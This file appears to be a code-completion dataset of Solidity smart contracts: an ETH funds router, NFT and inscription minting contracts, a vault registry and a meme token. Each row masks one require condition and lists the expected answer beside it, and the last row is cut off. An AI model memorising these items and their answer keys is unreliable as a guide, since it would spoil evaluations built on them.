constructor(
address payable registry_,
IForwarder regUserFeeVeriForwarder_,
IForwarder routerUserVeriForwarder_
) ReentrancyGuard() {
}
/**
* @notice Deposit ETH to fund the execution of requests by `spender`.
* @param spender The address that should be credited with the funds.
*/
function depositETH(address spender) external payable {
}
/**
* @notice Withdraw ETH from `msg.sender`'s balance to send to `recipient`.
* @param recipient The address to receive the ETH.
* @param amount The amount of ETH to withdraw.
*/
function withdrawETH(address payable recipient, uint amount) external nonReentrant {
}
/**
* @notice Forward an arbitrary number of calls. These could be to
* contracts that just test a condition, such as time or a price,
* or to contracts to execute an action and change the state of
* that contract, such as rebalancing a portfolio, or simply
* sending ETH. This function takes into account any ETH received
* during any of the calls and adds it to `user`'s balance, enabling
* requests to be made without any deposited funds if the receiving
* contract pays some kind of reward for calling it.
* @param user The address of the user who made the request.
* @param feeAmount The amount that Autonomy charges to cover the gas cost of
* executing the request each time, plus a small, deterministic
* incentive fee to the bot. Assumed to be denominated in ETH.
* @param fcnData An array of FcnData structs to be called in series. Each struct
* specifies everything needed to make each call independently:
* - target - the address to be called
* - callData - the calldata that specifies what function in the target
* should be called (if a contract) along with any input parameters.
* - ethForCall - any ETH that should be sent with the call
* - verifyUser - whether or not the 1st argument of `callData` should
* be guaranteed to be `user`. If `true`, then the call is routed
* through `routerUserVeriForwarder` so that `target` knows it can
* trust the 1st input parameter as correct if
* `msg.sender == routerUserVeriForwarder` from `target`'s perspective.
* The user should make sure that that is true when generating `callData`.
* If `verifyUser` is `false`, the call will just be sent directly from this
* `FundsRouter` contract.
*/
function forwardCalls(
address user,
uint feeAmount,
FcnData[] calldata fcnData
) external nonReentrant returns (bool, bytes memory) {
require(msg.sender == address(regUserFeeVeriForwarder), "FRouter: not userFeeForw");
uint userBal = balances[user];
uint routerStartBal = address(this).balance;
uint ethSent = 0;
bool success;
bytes memory returnData;
// Iterate through conditions and make sure they're all met
for (uint i; i < fcnData.length; i++) {
ethSent += fcnData[i].ethForCall;
if (fcnData[i].verifyUser) {
// Ensure that the 1st argument in this call is the user
require(abi.decode(fcnData[i].callData[4:36], (address)) == user, "FRouter: calldata not user");
(success, returnData) = routerUserVeriForwarder.forward{value: fcnData[i].ethForCall}(fcnData[i].target, fcnData[i].callData);
} else {
(success, returnData) = fcnData[i].target.call{value: fcnData[i].ethForCall}(fcnData[i].callData);
}
revertFailedCall(success, returnData);
}
uint routerEndBal = address(this).balance;
// Make sure that funds were siphoned out this contract somehow
require(routerEndBal + ethSent >= routerStartBal, "FRouter: funds missing");
uint ethReceivedDuringForwards = routerEndBal + ethSent - routerStartBal;
// Make sure that the user has enough balance
// Having both these checks is definitely overkill - need to get rid of 1
require(userBal + ethReceivedDuringForwards >= ethSent + feeAmount, "FRouter: not enough funds - fee");
require(<FILL_ME>)
balances[user] = userBal + ethReceivedDuringForwards - ethSent - feeAmount;
registry.transfer(feeAmount);
}
// Receive ETH from called contracts, perhaps if they have a reward for poking them
receive() external payable {}
}
| userBal+ethReceivedDuringForwards-ethSent-feeAmount==userBal+routerEndBal-routerStartBal-feeAmount,"FRouter: something doesnt add up" | 84,682 | userBal+ethReceivedDuringForwards-ethSent-feeAmount==userBal+routerEndBal-routerStartBal-feeAmount |
"Purchase would exceed max supply of Apes" | pragma solidity ^0.7.0;
/**
* @title BraveApeYachtClub contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract BraveApeYachtClub is ERC721, Ownable {
using SafeMath for uint256;
string public SAYC_PROVENANCE = "";
uint256 public startingIndexBlock;
uint256 public startingIndex;
uint256 public constant apePrice = 80000000000000000; //0.08 ETH
uint public maxApePurchase = 10;
bool public saleIsActive = true;
uint256 public REVEAL_TIMESTAMP;
uint256 public MAX_APES;
constructor(string memory name, string memory symbol, uint256 maxNftSupply, uint256 saleStart,string memory baseURI) ERC721(name, symbol) {
}
function withdraw() public onlyOwner {
}
/**
* Set some Brave Apes aside
*/
function reserveApes() public onlyOwner {
}
function setRevealTimestamp(uint256 revealTimeStamp) public onlyOwner {
}
/*
* Set provenance once it's calculated
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function setMaxMint(uint _maxApePurchase) public onlyOwner {
}
/*
* Pause sale if active, make active if paused
*/
function flipSaleState() public onlyOwner {
}
/**
* Mints Brave Apes
*/
function mintApe(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint Ape");
require(numberOfTokens <= maxApePurchase, "Can only mint 20 tokens at a time");
require(<FILL_ME>)
require(apePrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct");
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_APES) {
_safeMint(msg.sender, mintIndex);
}
}
// If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after
// the end of pre-sale, set the starting index block
if (startingIndexBlock == 0 && (totalSupply() == MAX_APES || block.timestamp >= REVEAL_TIMESTAMP)) {
startingIndexBlock = block.number;
}
}
/**
* Set the starting index for the collection
*/
function setStartingIndex() public {
}
/**
* Set the starting index block for the collection, essentially unblocking
* setting starting index
*/
function emergencySetStartingIndexBlock() public onlyOwner {
}
}
| totalSupply().add(numberOfTokens)<=MAX_APES,"Purchase would exceed max supply of Apes" | 84,692 | totalSupply().add(numberOfTokens)<=MAX_APES |
"Ether value sent is not correct" | pragma solidity ^0.7.0;
/**
* @title BraveApeYachtClub contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract BraveApeYachtClub is ERC721, Ownable {
using SafeMath for uint256;
string public SAYC_PROVENANCE = "";
uint256 public startingIndexBlock;
uint256 public startingIndex;
uint256 public constant apePrice = 80000000000000000; //0.08 ETH
uint public maxApePurchase = 10;
bool public saleIsActive = true;
uint256 public REVEAL_TIMESTAMP;
uint256 public MAX_APES;
constructor(string memory name, string memory symbol, uint256 maxNftSupply, uint256 saleStart,string memory baseURI) ERC721(name, symbol) {
}
function withdraw() public onlyOwner {
}
/**
* Set some Brave Apes aside
*/
function reserveApes() public onlyOwner {
}
function setRevealTimestamp(uint256 revealTimeStamp) public onlyOwner {
}
/*
* Set provenance once it's calculated
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function setMaxMint(uint _maxApePurchase) public onlyOwner {
}
/*
* Pause sale if active, make active if paused
*/
function flipSaleState() public onlyOwner {
}
/**
* Mints Brave Apes
*/
function mintApe(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint Ape");
require(numberOfTokens <= maxApePurchase, "Can only mint 20 tokens at a time");
require(totalSupply().add(numberOfTokens) <= MAX_APES, "Purchase would exceed max supply of Apes");
require(<FILL_ME>)
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_APES) {
_safeMint(msg.sender, mintIndex);
}
}
// If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after
// the end of pre-sale, set the starting index block
if (startingIndexBlock == 0 && (totalSupply() == MAX_APES || block.timestamp >= REVEAL_TIMESTAMP)) {
startingIndexBlock = block.number;
}
}
/**
* Set the starting index for the collection
*/
function setStartingIndex() public {
}
/**
* Set the starting index block for the collection, essentially unblocking
* setting starting index
*/
function emergencySetStartingIndexBlock() public onlyOwner {
}
}
| apePrice.mul(numberOfTokens)<=msg.value,"Ether value sent is not correct" | 84,692 | apePrice.mul(numberOfTokens)<=msg.value |
"same api version" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.15;
import "Ownable.sol";
import "IVault.sol";
contract ReleaseRegistry is Ownable {
/// @notice Number of vault releases in this registry.
uint256 public numReleases;
/// @notice Address of a given vault release index.
mapping(uint256 => address) public releases;
event NewRelease(
uint256 indexed releaseId,
address template,
string apiVersion
);
event NewClone(address indexed vault);
/**
@notice Returns the api version of the latest release.
@dev Throws if no releases are registered yet.
@return The api version of the latest release.
*/
function latestRelease() external view returns (string memory) {
}
/**
@notice
Add a previously deployed Vault as the template contract for the latest release,
to be used by further "forwarder-style" delegatecall proxy contracts that can be
deployed from the registry through other methods (to save gas).
@dev
Throws if caller isn't owner.
Throws if the api version is the same as the previous release.
Emits a NewRelease event.
@param _vault The vault that will be used as the template contract for the next release.
*/
function newRelease(address _vault) external onlyOwner {
// Check if the release is different from the current one
// NOTE: This doesn't check for strict semver-style linearly increasing release versions
uint256 releaseId = numReleases; // Next id in series
if (releaseId > 0) {
require(<FILL_ME>)
}
// Update latest release
releases[releaseId] = _vault;
numReleases = releaseId + 1;
// Log the release for external listeners (e.g. Graph)
emit NewRelease(releaseId, _vault, IVault(_vault).apiVersion());
}
function _newProxyVault(
address _token,
address _governance,
address _rewards,
address _guardian,
string memory _name,
string memory _symbol,
uint256 _releaseTarget
) internal returns (address) {
}
/// @notice Deploy a new vault with the latest vault release.
/// @dev See other newVault() function for more details.
function newVault(
address _token,
address _guardian,
address _rewards,
string calldata _name,
string calldata _symbol
) external returns (address) {
}
/**
@notice
Create a new vault for the given token using the latest release in the registry,
as a simple "forwarder-style" delegatecall proxy to the latest release.
@dev
Throws if no releases are registered yet. Note that this vault will not be automatically endorsed.
@param _token The token that may be deposited into the new Vault.
@param _governance vault governance
@param _guardian The address authorized for guardian interactions in the new Vault.
@param _rewards The address to use for collecting rewards in the new Vault
@param _name Specify a custom Vault name. Set to empty string for default choice.
@param _symbol Specify a custom Vault symbol name. Set to empty string for default choice.
@param _releaseDelta Specify the number of releases prior to the latest to use as a target. Default is latest.
@return The address of the newly-deployed vault
*/
function newVault(
address _token,
address _governance,
address _guardian,
address _rewards,
string calldata _name,
string calldata _symbol,
uint256 _releaseDelta
) public returns (address) {
}
function _clone(address _target) internal returns (address _newVault) {
}
}
| keccak256(bytes(IVault(releases[releaseId-1]).apiVersion()))!=keccak256(bytes(IVault(_vault).apiVersion())),"same api version" | 84,839 | keccak256(bytes(IVault(releases[releaseId-1]).apiVersion()))!=keccak256(bytes(IVault(_vault).apiVersion())) |
"Tick lenght should be 4" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./InscriptionV2.sol";
import "./String.sol";
import "./TransferHelper.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract InscriptionFactory is Ownable{
using Counters for Counters.Counter;
Counters.Counter private _inscriptionNumbers;
uint8 public maxTickSize = 4; // tick(symbol) length is 4.
uint256 public baseFee = 250000000000000; // Will charge 0.00025 ETH as extra min tip from the second time of mint in the frozen period. And this tip will be double for each mint.
uint256 public fundingCommission = 100; // commission rate of fund raising, 100 means 1%
mapping(uint256 => Token) private inscriptions; // key is inscription id, value is token data
mapping(string => uint256) private ticks; // Key is tick, value is inscription id
mapping(string => bool) public stockTicks; // check if tick is occupied
event DeployInscription(
uint256 indexed id,
string tick,
string name,
uint256 cap,
uint256 limitPerMint,
address inscriptionAddress,
uint256 timestamp
);
struct Token {
string tick; // same as symbol in ERC20
string name; // full name of token
uint256 cap; // Hard cap of token
uint256 limitPerMint; // Limitation per mint
uint256 maxMintSize; // // max mint size, that means the max mint quantity is: maxMintSize * limitPerMint
uint256 inscriptionId; // Inscription id
uint256 freezeTime;
address onlyContractAddress;
uint256 onlyMinQuantity;
uint256 crowdFundingRate;
address crowdfundingAddress;
address addr; // Contract address of inscribed token
uint256 timestamp; // Inscribe timestamp
}
string[] public v1StockTicks = [
"ferc",
"fdao",
"cash",
"fair",
"web3",
unicode"卧槽牛逼",
"ordi",
"feth",
"shib",
"mama",
"doge",
"punk",
"fomo",
"rich",
"pepe",
"elon",
"must",
"bayc",
"sinu",
"zuki",
"migo",
"fbtc",
"erc2",
"fare",
"okbb",
"lady",
"meme",
"oxbt",
"dego",
"frog",
"moon",
"weth",
"jeet",
"fuck",
"piza",
"oerc",
"baby",
"mint",
"8==d",
"pipi",
"fxen",
"king",
"anti",
"papa",
"fish",
"jack",
"defi",
"l1l2",
"niub",
"weid",
"perc",
"baba",
"$eth",
"fbnb",
"shan",
"musk",
"drac",
"kids",
"tate",
"fevm",
"0x0x",
"topg",
"aaaa",
"8686",
unicode"梭进去操",
"hold",
"fben",
"hash",
"dddd",
"fnft",
"fdog",
"abcd",
"free",
"$cpt",
"gwei",
"love",
"cola",
"0000",
"flat",
"core",
"heyi",
"ccup",
"fsbf",
"fers",
"6666",
"xxlb",
"nfts",
"nbat",
"nfty",
"jcjy",
"nerc",
"aiai",
"czhy",
"ftrx",
"code",
"mars",
"pemn",
"carl",
"fire",
"hodl",
"flur",
"exen",
"bcie",
"fool",
unicode"中国牛逼",
"jump",
"shit",
"benf",
"sats",
"intm",
"dayu",
"whee",
"pump",
"sexy",
"dede",
"ebtc",
"bank",
"flok",
"meta",
"flap",
"$cta",
"maxi",
"coin",
"ethm",
"body",
"frfd",
"erc1",
"ququ",
"nine",
"luck",
"jomo",
"giga",
"weeb",
"0001",
"fev2"
];
constructor() {
}
// Let this contract accept ETH as tip
receive() external payable {}
function deploy(
string memory _name,
string memory _tick,
uint256 _cap,
uint256 _limitPerMint,
uint256 _maxMintSize, // The max lots of each mint
uint256 _freezeTime, // Freeze seconds between two mint, during this freezing period, the mint fee will be increased
address _onlyContractAddress, // Only the holder of this asset can mint, optional
uint256 _onlyMinQuantity, // The min quantity of asset for mint, optional
uint256 _crowdFundingRate,
address _crowdFundingAddress
) external returns (address _inscriptionAddress) {
require(<FILL_ME>)
require(_cap >= _limitPerMint, "Limit per mint exceed cap");
_tick = String.toLower(_tick);
require(this.getIncriptionIdByTick(_tick) == 0, "tick is existed");
require(!stockTicks[_tick], "tick is in stock");
// Create inscription contract
bytes memory bytecode = type(Inscription).creationCode;
uint256 _id = _inscriptionNumbers.current();
bytecode = abi.encodePacked(bytecode, abi.encode(
_name,
_tick,
_cap,
_limitPerMint,
_id,
_maxMintSize,
_freezeTime,
_onlyContractAddress,
_onlyMinQuantity,
baseFee,
fundingCommission,
_crowdFundingRate,
_crowdFundingAddress,
address(this)
));
bytes32 salt = keccak256(abi.encodePacked(_id));
assembly ("memory-safe") {
_inscriptionAddress := create2(0, add(bytecode, 32), mload(bytecode), salt)
if iszero(extcodesize(_inscriptionAddress)) {
revert(0, 0)
}
}
inscriptions[_id] = Token(
_tick,
_name,
_cap,
_limitPerMint,
_maxMintSize,
_id,
_freezeTime,
_onlyContractAddress,
_onlyMinQuantity,
_crowdFundingRate,
_crowdFundingAddress,
_inscriptionAddress,
block.timestamp
);
ticks[_tick] = _id;
_inscriptionNumbers.increment();
emit DeployInscription(_id, _tick, _name, _cap, _limitPerMint, _inscriptionAddress, block.timestamp);
}
function getInscriptionAmount() external view returns(uint256) {
}
function getIncriptionIdByTick(string memory _tick) external view returns(uint256) {
}
function getIncriptionById(uint256 _id) external view returns(Token memory, uint256) {
}
function getIncriptionByTick(string memory _tick) external view returns(Token memory tokens, uint256 totalSupplies) {
}
function getInscriptionAmountByType(uint256 _type) external view returns(uint256) {
}
// Fetch inscription data by page no, page size, type and search keyword
function getIncriptions(
uint256 _pageNo,
uint256 _pageSize,
uint256 _type // 0- all, 1- in-process, 2- ended
) external view returns(
Token[] memory,
uint256[] memory
) {
}
// Withdraw the ETH tip from the contract
function withdraw(address payable _to, uint256 _amount) external onlyOwner {
}
// Update base fee
function updateBaseFee(uint256 _fee) external onlyOwner {
}
// Update funding commission
function updateFundingCommission(uint256 _rate) external onlyOwner {
}
// Update character's length of tick
function updateTickSize(uint8 _size) external onlyOwner {
}
// update stock tick
function updateStockTick(string memory _tick, bool _status) public onlyOwner {
}
// Upgrade from v1 to v2
function batchUpdateStockTick(bool status) public onlyOwner {
}
}
| String.strlen(_tick)==maxTickSize,"Tick lenght should be 4" | 84,962 | String.strlen(_tick)==maxTickSize |
"tick is existed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./InscriptionV2.sol";
import "./String.sol";
import "./TransferHelper.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract InscriptionFactory is Ownable{
using Counters for Counters.Counter;
Counters.Counter private _inscriptionNumbers;
uint8 public maxTickSize = 4; // tick(symbol) length is 4.
uint256 public baseFee = 250000000000000; // Will charge 0.00025 ETH as extra min tip from the second time of mint in the frozen period. And this tip will be double for each mint.
uint256 public fundingCommission = 100; // commission rate of fund raising, 100 means 1%
mapping(uint256 => Token) private inscriptions; // key is inscription id, value is token data
mapping(string => uint256) private ticks; // Key is tick, value is inscription id
mapping(string => bool) public stockTicks; // check if tick is occupied
event DeployInscription(
uint256 indexed id,
string tick,
string name,
uint256 cap,
uint256 limitPerMint,
address inscriptionAddress,
uint256 timestamp
);
struct Token {
string tick; // same as symbol in ERC20
string name; // full name of token
uint256 cap; // Hard cap of token
uint256 limitPerMint; // Limitation per mint
uint256 maxMintSize; // // max mint size, that means the max mint quantity is: maxMintSize * limitPerMint
uint256 inscriptionId; // Inscription id
uint256 freezeTime;
address onlyContractAddress;
uint256 onlyMinQuantity;
uint256 crowdFundingRate;
address crowdfundingAddress;
address addr; // Contract address of inscribed token
uint256 timestamp; // Inscribe timestamp
}
string[] public v1StockTicks = [
"ferc",
"fdao",
"cash",
"fair",
"web3",
unicode"卧槽牛逼",
"ordi",
"feth",
"shib",
"mama",
"doge",
"punk",
"fomo",
"rich",
"pepe",
"elon",
"must",
"bayc",
"sinu",
"zuki",
"migo",
"fbtc",
"erc2",
"fare",
"okbb",
"lady",
"meme",
"oxbt",
"dego",
"frog",
"moon",
"weth",
"jeet",
"fuck",
"piza",
"oerc",
"baby",
"mint",
"8==d",
"pipi",
"fxen",
"king",
"anti",
"papa",
"fish",
"jack",
"defi",
"l1l2",
"niub",
"weid",
"perc",
"baba",
"$eth",
"fbnb",
"shan",
"musk",
"drac",
"kids",
"tate",
"fevm",
"0x0x",
"topg",
"aaaa",
"8686",
unicode"梭进去操",
"hold",
"fben",
"hash",
"dddd",
"fnft",
"fdog",
"abcd",
"free",
"$cpt",
"gwei",
"love",
"cola",
"0000",
"flat",
"core",
"heyi",
"ccup",
"fsbf",
"fers",
"6666",
"xxlb",
"nfts",
"nbat",
"nfty",
"jcjy",
"nerc",
"aiai",
"czhy",
"ftrx",
"code",
"mars",
"pemn",
"carl",
"fire",
"hodl",
"flur",
"exen",
"bcie",
"fool",
unicode"中国牛逼",
"jump",
"shit",
"benf",
"sats",
"intm",
"dayu",
"whee",
"pump",
"sexy",
"dede",
"ebtc",
"bank",
"flok",
"meta",
"flap",
"$cta",
"maxi",
"coin",
"ethm",
"body",
"frfd",
"erc1",
"ququ",
"nine",
"luck",
"jomo",
"giga",
"weeb",
"0001",
"fev2"
];
constructor() {
}
// Let this contract accept ETH as tip
receive() external payable {}
function deploy(
string memory _name,
string memory _tick,
uint256 _cap,
uint256 _limitPerMint,
uint256 _maxMintSize, // The max lots of each mint
uint256 _freezeTime, // Freeze seconds between two mint, during this freezing period, the mint fee will be increased
address _onlyContractAddress, // Only the holder of this asset can mint, optional
uint256 _onlyMinQuantity, // The min quantity of asset for mint, optional
uint256 _crowdFundingRate,
address _crowdFundingAddress
) external returns (address _inscriptionAddress) {
require(String.strlen(_tick) == maxTickSize, "Tick lenght should be 4");
require(_cap >= _limitPerMint, "Limit per mint exceed cap");
_tick = String.toLower(_tick);
require(<FILL_ME>)
require(!stockTicks[_tick], "tick is in stock");
// Create inscription contract
bytes memory bytecode = type(Inscription).creationCode;
uint256 _id = _inscriptionNumbers.current();
bytecode = abi.encodePacked(bytecode, abi.encode(
_name,
_tick,
_cap,
_limitPerMint,
_id,
_maxMintSize,
_freezeTime,
_onlyContractAddress,
_onlyMinQuantity,
baseFee,
fundingCommission,
_crowdFundingRate,
_crowdFundingAddress,
address(this)
));
bytes32 salt = keccak256(abi.encodePacked(_id));
assembly ("memory-safe") {
_inscriptionAddress := create2(0, add(bytecode, 32), mload(bytecode), salt)
if iszero(extcodesize(_inscriptionAddress)) {
revert(0, 0)
}
}
inscriptions[_id] = Token(
_tick,
_name,
_cap,
_limitPerMint,
_maxMintSize,
_id,
_freezeTime,
_onlyContractAddress,
_onlyMinQuantity,
_crowdFundingRate,
_crowdFundingAddress,
_inscriptionAddress,
block.timestamp
);
ticks[_tick] = _id;
_inscriptionNumbers.increment();
emit DeployInscription(_id, _tick, _name, _cap, _limitPerMint, _inscriptionAddress, block.timestamp);
}
function getInscriptionAmount() external view returns(uint256) {
}
function getIncriptionIdByTick(string memory _tick) external view returns(uint256) {
}
function getIncriptionById(uint256 _id) external view returns(Token memory, uint256) {
}
function getIncriptionByTick(string memory _tick) external view returns(Token memory tokens, uint256 totalSupplies) {
}
function getInscriptionAmountByType(uint256 _type) external view returns(uint256) {
}
// Fetch inscription data by page no, page size, type and search keyword
function getIncriptions(
uint256 _pageNo,
uint256 _pageSize,
uint256 _type // 0- all, 1- in-process, 2- ended
) external view returns(
Token[] memory,
uint256[] memory
) {
}
// Withdraw the ETH tip from the contract
function withdraw(address payable _to, uint256 _amount) external onlyOwner {
}
// Update base fee
function updateBaseFee(uint256 _fee) external onlyOwner {
}
// Update funding commission
function updateFundingCommission(uint256 _rate) external onlyOwner {
}
// Update character's length of tick
function updateTickSize(uint8 _size) external onlyOwner {
}
// update stock tick
function updateStockTick(string memory _tick, bool _status) public onlyOwner {
}
// Upgrade from v1 to v2
function batchUpdateStockTick(bool status) public onlyOwner {
}
}
| this.getIncriptionIdByTick(_tick)==0,"tick is existed" | 84,962 | this.getIncriptionIdByTick(_tick)==0 |
"tick is in stock" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./InscriptionV2.sol";
import "./String.sol";
import "./TransferHelper.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract InscriptionFactory is Ownable{
using Counters for Counters.Counter;
Counters.Counter private _inscriptionNumbers;
uint8 public maxTickSize = 4; // tick(symbol) length is 4.
uint256 public baseFee = 250000000000000; // Will charge 0.00025 ETH as extra min tip from the second time of mint in the frozen period. And this tip will be double for each mint.
uint256 public fundingCommission = 100; // commission rate of fund raising, 100 means 1%
mapping(uint256 => Token) private inscriptions; // key is inscription id, value is token data
mapping(string => uint256) private ticks; // Key is tick, value is inscription id
mapping(string => bool) public stockTicks; // check if tick is occupied
event DeployInscription(
uint256 indexed id,
string tick,
string name,
uint256 cap,
uint256 limitPerMint,
address inscriptionAddress,
uint256 timestamp
);
struct Token {
string tick; // same as symbol in ERC20
string name; // full name of token
uint256 cap; // Hard cap of token
uint256 limitPerMint; // Limitation per mint
uint256 maxMintSize; // // max mint size, that means the max mint quantity is: maxMintSize * limitPerMint
uint256 inscriptionId; // Inscription id
uint256 freezeTime;
address onlyContractAddress;
uint256 onlyMinQuantity;
uint256 crowdFundingRate;
address crowdfundingAddress;
address addr; // Contract address of inscribed token
uint256 timestamp; // Inscribe timestamp
}
string[] public v1StockTicks = [
"ferc",
"fdao",
"cash",
"fair",
"web3",
unicode"卧槽牛逼",
"ordi",
"feth",
"shib",
"mama",
"doge",
"punk",
"fomo",
"rich",
"pepe",
"elon",
"must",
"bayc",
"sinu",
"zuki",
"migo",
"fbtc",
"erc2",
"fare",
"okbb",
"lady",
"meme",
"oxbt",
"dego",
"frog",
"moon",
"weth",
"jeet",
"fuck",
"piza",
"oerc",
"baby",
"mint",
"8==d",
"pipi",
"fxen",
"king",
"anti",
"papa",
"fish",
"jack",
"defi",
"l1l2",
"niub",
"weid",
"perc",
"baba",
"$eth",
"fbnb",
"shan",
"musk",
"drac",
"kids",
"tate",
"fevm",
"0x0x",
"topg",
"aaaa",
"8686",
unicode"梭进去操",
"hold",
"fben",
"hash",
"dddd",
"fnft",
"fdog",
"abcd",
"free",
"$cpt",
"gwei",
"love",
"cola",
"0000",
"flat",
"core",
"heyi",
"ccup",
"fsbf",
"fers",
"6666",
"xxlb",
"nfts",
"nbat",
"nfty",
"jcjy",
"nerc",
"aiai",
"czhy",
"ftrx",
"code",
"mars",
"pemn",
"carl",
"fire",
"hodl",
"flur",
"exen",
"bcie",
"fool",
unicode"中国牛逼",
"jump",
"shit",
"benf",
"sats",
"intm",
"dayu",
"whee",
"pump",
"sexy",
"dede",
"ebtc",
"bank",
"flok",
"meta",
"flap",
"$cta",
"maxi",
"coin",
"ethm",
"body",
"frfd",
"erc1",
"ququ",
"nine",
"luck",
"jomo",
"giga",
"weeb",
"0001",
"fev2"
];
constructor() {
}
// Let this contract accept ETH as tip
receive() external payable {}
function deploy(
string memory _name,
string memory _tick,
uint256 _cap,
uint256 _limitPerMint,
uint256 _maxMintSize, // The max lots of each mint
uint256 _freezeTime, // Freeze seconds between two mint, during this freezing period, the mint fee will be increased
address _onlyContractAddress, // Only the holder of this asset can mint, optional
uint256 _onlyMinQuantity, // The min quantity of asset for mint, optional
uint256 _crowdFundingRate,
address _crowdFundingAddress
) external returns (address _inscriptionAddress) {
require(String.strlen(_tick) == maxTickSize, "Tick lenght should be 4");
require(_cap >= _limitPerMint, "Limit per mint exceed cap");
_tick = String.toLower(_tick);
require(this.getIncriptionIdByTick(_tick) == 0, "tick is existed");
require(<FILL_ME>)
// Create inscription contract
bytes memory bytecode = type(Inscription).creationCode;
uint256 _id = _inscriptionNumbers.current();
bytecode = abi.encodePacked(bytecode, abi.encode(
_name,
_tick,
_cap,
_limitPerMint,
_id,
_maxMintSize,
_freezeTime,
_onlyContractAddress,
_onlyMinQuantity,
baseFee,
fundingCommission,
_crowdFundingRate,
_crowdFundingAddress,
address(this)
));
bytes32 salt = keccak256(abi.encodePacked(_id));
assembly ("memory-safe") {
_inscriptionAddress := create2(0, add(bytecode, 32), mload(bytecode), salt)
if iszero(extcodesize(_inscriptionAddress)) {
revert(0, 0)
}
}
inscriptions[_id] = Token(
_tick,
_name,
_cap,
_limitPerMint,
_maxMintSize,
_id,
_freezeTime,
_onlyContractAddress,
_onlyMinQuantity,
_crowdFundingRate,
_crowdFundingAddress,
_inscriptionAddress,
block.timestamp
);
ticks[_tick] = _id;
_inscriptionNumbers.increment();
emit DeployInscription(_id, _tick, _name, _cap, _limitPerMint, _inscriptionAddress, block.timestamp);
}
function getInscriptionAmount() external view returns(uint256) {
}
function getIncriptionIdByTick(string memory _tick) external view returns(uint256) {
}
function getIncriptionById(uint256 _id) external view returns(Token memory, uint256) {
}
function getIncriptionByTick(string memory _tick) external view returns(Token memory tokens, uint256 totalSupplies) {
}
function getInscriptionAmountByType(uint256 _type) external view returns(uint256) {
}
// Fetch inscription data by page no, page size, type and search keyword
function getIncriptions(
uint256 _pageNo,
uint256 _pageSize,
uint256 _type // 0- all, 1- in-process, 2- ended
) external view returns(
Token[] memory,
uint256[] memory
) {
}
// Withdraw the ETH tip from the contract
function withdraw(address payable _to, uint256 _amount) external onlyOwner {
}
// Update base fee
function updateBaseFee(uint256 _fee) external onlyOwner {
}
// Update funding commission
function updateFundingCommission(uint256 _rate) external onlyOwner {
}
// Update character's length of tick
function updateTickSize(uint8 _size) external onlyOwner {
}
// update stock tick
function updateStockTick(string memory _tick, bool _status) public onlyOwner {
}
// Upgrade from v1 to v2
function batchUpdateStockTick(bool status) public onlyOwner {
}
}
| !stockTicks[_tick],"tick is in stock" | 84,962 | !stockTicks[_tick] |
null | //SPDX-License-Identifier: UNLICENSED
//t.me/woofportal
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WOOF is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"A Shibas Dream";
string public constant symbol = unicode"WOOF";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
}
constructor (address payable TaxAdd) {
}
function balanceOf(address account) public view override returns (uint) {
}
function transfer(address recipient, uint amount) public override returns (bool) {
}
function totalSupply() public pure override returns (uint) {
}
function allowance(address owner, address spender) public view override returns (uint) {
}
